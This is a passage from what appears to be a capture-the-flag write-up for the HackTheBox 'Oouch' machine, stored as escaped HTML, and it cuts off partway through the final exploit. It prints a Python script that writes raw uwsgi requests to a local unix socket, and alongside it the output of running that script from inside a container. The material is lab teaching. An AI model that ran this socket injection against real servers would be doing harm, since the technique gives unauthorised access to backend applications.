key_size;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> uint8_t key[key_size];<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> uint16_t val_size;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> uint8_t val[val_size];<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> }<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> \"\"\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">__new__<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">self, key_size, key, val_size, val<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">UwsgiVar<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ctypes.Structure<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> _pack_ = <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> _fields_ = <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"key_size\"<\/span><span class=\"enlighter-text\">, ctypes.c_int16<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"key\"<\/span><span class=\"enlighter-text\">, ctypes.c_char * key_size<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"val_size\"<\/span><span class=\"enlighter-text\">, ctypes.c_int16<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"val\"<\/span><span class=\"enlighter-text\">, ctypes.c_char * val_size<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">UwsgiVar<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">key_size, key, val_size, val<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> @classmethod<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">from_buffer<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">cls, buffer, offset=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> key_size = ctypes.c_int16.<\/span><span class=\"enlighter-m1\">from_buffer<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">buffer, offset<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.value<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> offset += ctypes.<\/span><span class=\"enlighter-m1\">sizeof<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ctypes.c_int16<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> key = <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ctypes.c_char * key_size<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m1\">from_buffer<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">buffer, offset<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.value<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> offset += ctypes.<\/span><span class=\"enlighter-m1\">sizeof<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ctypes.c_char * key_size<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> val_size = ctypes.c_int16.<\/span><span class=\"enlighter-m1\">from_buffer<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">buffer, offset<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.value<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> offset += ctypes.<\/span><span class=\"enlighter-m1\">sizeof<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ctypes.c_int16<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> val = <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ctypes.c_char * val_size<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m1\">from_buffer<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">buffer, offset<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.value<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">cls<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">key_size, key, val_size, val<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-c0\"># This function parses variables from python to uwsgi format. <\/span><span class=\"enlighter-c0\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-c0\"># Again credits go to: https:\/\/github.com\/andreif\/uwsgi-tools<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">pack_uwsgi_vars<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">var<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> encoded_vars = <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">k.<\/span><span class=\"enlighter-m1\">encode<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'utf-8'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">, v.<\/span><span class=\"enlighter-m1\">encode<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'utf-8'<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">for<\/span><span class=\"enlighter-text\"> k, v <\/span><span class=\"enlighter-k0\">in<\/span><span class=\"enlighter-text\"> var.<\/span><span class=\"enlighter-m1\">items<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> packed_vars = b<\/span><span class=\"enlighter-s0\">''<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m1\">join<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">bytes<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-m0\">UwsgiVar<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-m0\">len<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">k<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">, k, <\/span><span class=\"enlighter-m0\">len<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">v<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">, v<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">for<\/span><span class=\"enlighter-text\"> k, v <\/span><span class=\"enlighter-k0\">in<\/span><span class=\"enlighter-text\"> encoded_vars<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> packet_header = <\/span><span class=\"enlighter-m0\">bytes<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-m0\">UwsgiPacketHeader<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-m0\">len<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">packed_vars<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> packet_header + packed_vars<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">send_to_uwsgi<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">addr, var, body=<\/span><span class=\"enlighter-s0\">''<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s5\">'''<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Opens a connection to a uwsgi unix domain socket and sends a request to it. The response will be returned by the<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> function.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Parameters:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> addr (String) Address of the unix domain socket.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> var (dict) uwsgi variables.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> body (String) Optional body for POST requests.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Returns:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> response (String) Response from the uwsgi socket.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> '''<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> sock = socket.<\/span><span class=\"enlighter-m1\">socket<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">socket.AF_UNIX, socket.SOCK_STREAM<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> sock.<\/span><span class=\"enlighter-m1\">connect<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">addr<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> body <\/span><span class=\"enlighter-k0\">is<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e1\">None<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> body = <\/span><span class=\"enlighter-s0\">''<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">print<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-m0\">pack_uwsgi_vars<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">var<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> + body.<\/span><span class=\"enlighter-m1\">encode<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'utf8'<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> sock.<\/span><span class=\"enlighter-m1\">send<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-m0\">pack_uwsgi_vars<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">var<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> + body.<\/span><span class=\"enlighter-m1\">encode<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'utf8'<\/span><span class=\"enlighter-g1\">))<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response = <\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">while<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> data = sock.<\/span><span class=\"enlighter-m1\">recv<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k3\">not<\/span><span class=\"enlighter-text\"> data:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">break<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response.<\/span><span class=\"enlighter-m1\">append<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">data<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> sock.<\/span><span class=\"enlighter-m1\">close<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> b<\/span><span class=\"enlighter-s0\">''<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m1\">join<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">response<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m1\">decode<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'utf8'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">exploit<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s5\">'''<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Final exploit function. Simply defines the necessary uwsgi parameters and inserts our malicious payload.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Parameters:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> csrf_token (String) Since the exploit uses the contact form, we need a valid CSRF Token.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> session_id (String) The contact form can only be used by authenticated users.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> payload (String) This is the command that is executed.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Returns:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> None<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> '''<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> body = <\/span><span class=\"enlighter-s0\">''<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var = <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'SERVER_PROTOCOL'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'HTTP\/1.1'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'PATH_INFO'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'\/login'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'REQUEST_METHOD'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'GET'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'REQUEST_URI'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'\/login'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'HTTP_HOST'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'consumer.oouch.htb:5000'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'SERVER_NAME'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">'consumer.oouch.htb'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'SERVER_PORT'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">\"5000\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> result = <\/span><span class=\"enlighter-m0\">send_to_uwsgi<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">addr=<\/span><span class=\"enlighter-s0\">'\/tmp\/uwsgi.socket'<\/span><span class=\"enlighter-text\">, var=var, body=body<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">print<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">result<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-m0\">exploit<\/span><span class=\"enlighter-g1\">()<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>We can use<span>\u00a0<\/span><em>scp<span>\u00a0<\/span><\/em>to transfer the<span>\u00a0<\/span><em>Python<span>\u00a0<\/span><\/em>script onto the container. Since the container runs a<span>\u00a0<\/span><em>Flask<span>\u00a0<\/span><\/em>application, we can expect that this code should run without the need of reinstalling certain tools or packages. By just executing the script, we get the following output:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@72ddb6be7ede:\/tmp$ python3 exploit.py <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">b<\/span><span class=\"enlighter-s0\">'\\x00\\xb0\\x00\\x00\\x0f\\x00SERVER_PROTOCOL\\x08\\x00HTTP\/1.1\\t\\x00PATH_INFO\\x06\\x00\/login\\x0e\\x00REQUEST_METHOD\\x03\\x00GET\\x0b\\x00REQUEST_URI\\x06\\x00\/login\\t\\x00HTTP_HOST\\x17\\x00consumer.oouch.htb:5000\\x0b\\x00SERVER_NAME\\x12\\x00consumer.oouch.htb\\x0b\\x00SERVER_PORT\\x04\\x005000'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-e3\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">OK<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Content-Type: text\/html<\/span><span class=\"enlighter-c0\">; charset=utf-8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Content-Length: <\/span><span class=\"enlighter-n1\">1828<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Vary: Cookie<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Set-Cookie: session=eyJjc3JmX3Rva2VuIjoiMTljYzExMTc1N2ExYWI5MGQ0MThlOGMwYzEwZTJmZjQzMmVkOGNmNSJ9.<\/span><span class=\"enlighter-e3\">XW<\/span><span class=\"enlighter-text\">-RXw.X_MBXEPKB7FjrvQP67L0tOoO77k<\/span><span class=\"enlighter-c0\">; HttpOnly; Path=\/<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">html<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">head<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">title<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\">Welcome to Oouch<\/span><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-text\">\/title<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Sweet! This is the login page of the consumer application. Now we should perform a login onto the application using our webbrowser and obtain a valid session cookie and<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>token. Once both of them are obtained, we can start to develop the actual exploit.<\/p>\n<p>Developing the exploit can be kind of frustrating, since<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>makes some odd assumptions on the passed parameters and is not very verbose concerning its error messages. For example, one need to specify the body of a<span>\u00a0<\/span><em>HTTP POST<span>\u00a0<\/span><\/em>message inside a<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>parameter as well as in an additional binary blob. This is kind of weird, but with the time it should be possible to guess the correct format. My final exploitation script looks like this (only the modified sections are shown):<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">exploit<\/span><span 